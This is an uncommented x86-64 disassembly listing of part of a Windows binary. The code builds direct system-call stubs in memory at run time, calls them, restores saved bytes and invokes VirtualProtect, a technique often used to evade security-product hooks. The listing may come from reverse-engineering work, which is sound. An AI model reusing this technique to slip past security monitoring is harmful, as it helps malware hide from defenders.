mov dword [rbx + 3], 0x8b4c0000
mov r9d, 4
mov byte [rbx + 2], r15b
mov rcx, 0xffffffffffffffff
mov byte [rbx + 1], r13b
mov byte [rbx], 0xb8
lea edx, [r9 + 0x1b]
mov qword [rsp + 0x20], r12
call rbx
test eax, eax
js 0x1400a8915
cmp dword [rsp + 0x7c], r12d
je 0x1400a8e2c
mov r13d, 0xb
lea r11, [rsp + 0x68]
mov r9d, r13d
sub r11, rbx
mov rdi, rbx
nop dword [rax]
movzx r8d, byte [rbx]
movzx r10d, byte [rbx + r11]
lea eax, [r8 - 0x61]
cmp eax, 0x19
lea edx, [r8 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r8d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x1400a8966
inc rbx
sub r9, 1
jne 0x1400a8930
jmp 0x1400a896f
cmp r8d, r10d
jne 0x1400a8e2c
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x64]
cmp rcx, rax
jbe 0x1400a8990
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x66]
nop dword [rax + rax]
movzx r12d, byte [rsp + 0x65]
lea rax, [rsp + 0x68]
mov byte [rsp + 0x6a], r12b
mov byte [rsp + 0x69], r14b
cmp rdi, rax
jbe 0x1400a89b0
lea rax, [rsp + 0x73]
nop
mov dword [rdi + 7], 0xc3050fd1
lea r8, [rsp + 0x7c]
mov dword [rdi + 3], 0x8b4c0000
xor ebx, ebx
mov byte [rdi + 2], r12b
mov byte [rdi + 1], r14b
mov byte [rdi], 0xb8
lea r9d, [rbx + 4]
mov dword [rsp + 0x7c], ebx
lea edx, [rbx + 0x1f]
lea rcx, [rbx - 1]
call rdi
test eax, eax
jns 0x1400a8b6e
lea rax, [rbp - 0x60]
cmp rdi, rax
jbe 0x1400a8ab0
lea rax, [rbp - 0x4c]
cmp rdi, rax
jae 0x1400a8ab0
mov byte [rdi + 0x13], sil
movzx eax, byte [rsp + 0x5e]
mov byte [rdi + 0x12], al
movzx eax, byte [rsp + 0x5d]
mov byte [rdi + 0x11], al
movzx eax, byte [rsp + 0x5c]
mov byte [rdi + 0x10], al
movzx eax, byte [rsp + 0x5b]
mov byte [rdi + 0xf], al
movzx eax, byte [rsp + 0x5a]
mov byte [rdi + 0xe], al
movzx eax, byte [rsp + 0x59]
mov byte [rdi + 0xd], al
movzx eax, byte [rsp + 0x58]
mov byte [rdi + 0xc], al
movzx eax, byte [rsp + 0x57]
mov byte [rdi + 0xb], al
movzx eax, byte [rsp + 0x56]
mov byte [rdi + 0xa], al
movzx eax, byte [rsp + 0x55]
mov byte [rdi + 9], al
movzx eax, byte [rsp + 0x54]
mov byte [rdi + 8], al
movzx eax, byte [rsp + 0x53]
mov byte [rdi + 7], al
movzx eax, byte [rsp + 0x52]
mov byte [rdi + 6], al
movzx eax, byte [rsp + 0x51]
mov byte [rdi + 5], al
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 4], al
movzx eax, byte [rbp + 0x268]
mov byte [rdi + 3], al
movzx eax, byte [rbp + 0x260]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 0x258]
mov byte [rdi + 1], al
movzx eax, byte [rbp + 0x250]
mov byte [rdi], al
jmp 0x1400a8b53
movzx eax, byte [rbp + 0x250]
mov byte [rdi], al
movzx eax, byte [rbp + 0x258]
mov byte [rdi + 1], al
movzx eax, byte [rbp + 0x260]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 0x268]
mov byte [rdi + 3], al
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 4], al
movzx eax, byte [rsp + 0x51]
mov byte [rdi + 5], al
movzx eax, byte [rsp + 0x52]
mov byte [rdi + 6], al
movzx eax, byte [rsp + 0x53]
mov byte [rdi + 7], al
movzx eax, byte [rsp + 0x54]
mov byte [rdi + 8], al
movzx eax, byte [rsp + 0x55]
mov byte [rdi + 9], al
movzx eax, byte [rsp + 0x56]
mov byte [rdi + 0xa], al
movzx eax, byte [rsp + 0x57]
mov byte [rdi + 0xb], al
movzx eax, byte [rsp + 0x58]
mov byte [rdi + 0xc], al
movzx eax, byte [rsp + 0x59]
mov byte [rdi + 0xd], al
movzx eax, byte [rsp + 0x5a]
mov byte [rdi + 0xe], al
movzx eax, byte [rsp + 0x5b]
mov byte [rdi + 0xf], al
movzx eax, byte [rsp + 0x5c]
mov byte [rdi + 0x10], al
movzx eax, byte [rsp + 0x5d]
mov byte [rdi + 0x11], al
movzx eax, byte [rsp + 0x5e]
mov byte [rdi + 0x12], al
mov byte [rdi + 0x13], sil
mov r8d, dword [rbp - 0x7c]
lea r9, [rbp - 0x7c]
mov edx, 0x1024
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1400a86d2
lea r11, [rsp + 0x68]
mov r9, r13
sub r11, rdi
mov rsi, rdi
nop dword [rax]
movzx r8d, byte [rdi]
movzx r10d, byte [rdi + r11]
lea eax, [r8 - 0x61]
cmp eax, 0x19
lea edx, [r8 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r8d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x1400a8bb6
inc rdi
sub r9, 1
jne 0x1400a8b80
jmp 0x1400a8bbf
cmp r8d, r10d
jne 0x1400a8e2c
lea rcx, [rsp + 0x69]
mov dword [rsp + 0x7c], 1
lea rax, [rsp + 0x60]
cmp rcx, rax
jbe 0x1400a8be0
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x62]
mov eax, dword [rbp - 0x80]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x6a], r15b
mov byte [rsp + 0x69], al
cmp rsi, rcx
jbe 0x1400a8c00
lea rcx, [rsp + 0x73]
nop dword [rax + rax]
mov dword [rsi + 7], 0xc3050fd1
lea r8, [rsp + 0x7c]
mov dword [rsi + 3], 0x8b4c0000
mov r9d, 4
mov byte [rsi + 2], r15b
mov rcx, 0xffffffffffffffff
mov byte [rsi + 1], al
mov byte [rsi], 0xb8
lea edx, [r9 + 0x1b]
mov qword [rsp + 0x20], rbx
call rsi
test eax, eax
js 0x1400a8c43
cmp dword [rsp + 0x7c], ebx
jne 0x1400a8e2c
lea r10, [rsp + 0x68]
mov r8, r13
sub r10, rsi
mov rbx, rsi
movzx edi, byte [rsi]
movzx r9d, byte [rsi + r10]
lea eax, [rdi - 0x61]
cmp eax, 0x19
lea edx, [rdi - 0x20]
lea eax, [r9 - 0x61]
cmova edx, edi
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp edx, ecx
jne 0x1400a8c83
inc rsi
sub r8, 1
jne 0x1400a8c51
jmp 0x1400a8c8c
cmp edi, r9d
jne 0x1400a8e2c
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x64]
cmp rcx, rax
jbe 0x1400a8cb0
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x66]
nop word [rax + rax]
lea rax, [rsp + 0x68]
mov byte [rsp + 0x6a], r12b
mov byte [rsp + 0x69], r14b
cmp rbx, rax
jbe 0x1400a8cd0
lea rax, [rsp + 0x73]
nop dword [rax]
mov dword [rbx + 7], 0xc3050fd1
lea r8, [rsp + 0x7c]
mov dword [rbx + 3], 0x8b4c0000
mov r9d, 4
mov byte [rbx + 2], r12b
mov rcx, 0xffffffffffffffff
mov byte [rbx + 1], r14b
mov byte [rbx], 0xb8
lea edx, [r9 + 0x1b]
mov dword [rsp + 0x7c], 1
call rbx
lea r10, [rsp + 0x68]
mov rdi, rbx
sub r10, rbx
nop dword [rax]
nop dword [rax + rax]
movzx r9d, byte [rbx + r10]
movzx r8d, byte [rbx]
lea eax, [r9 - 0x61]
cmp eax, 0x19
lea edx, [r9 - 0x20]
lea eax, [r8 - 0x61]
cmova edx, r9d
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x1400a8d56
inc rbx
sub r13, 1
jne 0x1400a8d20
jmp 0x1400a8d5f
cmp r8d, r9d
jne 0x1400a8e2c
lea rax, [rbp - 0x60]
cmp rdi, rax
jbe 0x1400a8d80
lea rax, [rbp - 0x4c]
cmp rdi, rax
jae 0x1400a8d80
movzx eax, byte [rsp + 0x78]
mov byte [rdi + 0x13], al
jmp 0x1400a8a07
movzx eax, byte [rbp + 0x250]
mov byte [rdi], al
movzx eax, byte [rbp + 0x258]
mov byte [rdi + 1], al
movzx eax, byte [rbp + 0x260]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 0x268]
mov byte [rdi + 3], al
movzx eax, byte [rsp + 0x50]
mov byte [rdi + 4], al
movzx eax, byte [rsp + 0x51]
mov byte [rdi + 5], al
movzx eax, byte [rsp + 0x52]
mov byte [rdi + 6], al
movzx eax, byte [rsp + 0x53]
mov byte [rdi + 7], al
movzx eax, byte [rsp + 0x54]
mov byte [rdi + 8], al
movzx eax, byte [rsp + 0x55]
mov byte [rdi + 9], al
movzx eax, byte [rsp + 0x56]
mov byte [rdi + 0xa], al
movzx eax, byte [rsp + 0x57]
mov byte [rdi + 0xb], al
movzx eax, byte [rsp + 0x58]
mov byte [rdi + 0xc], al
movzx eax, byte [rsp + 0x59]
mov byte [rdi + 0xd], al
movzx eax, byte [rsp + 0x5a]
mov byte [rdi + 0xe], al
movzx eax, byte [rsp + 0x5b]
mov byte [rdi + 0xf], al
movzx eax, byte [rsp + 0x5c]
mov byte [rdi + 0x10], al
movzx eax, byte [rsp + 0x5d]
mov byte [rdi + 0x11], al
movzx eax, byte [rsp + 0x5e]
mov byte [rdi + 0x12], al
movzx eax, byte [rsp + 0x78]
mov byte [rdi + 0x13], al
jmp 0x1400a8b53
mov al, 1
jmp 0x1400a86d4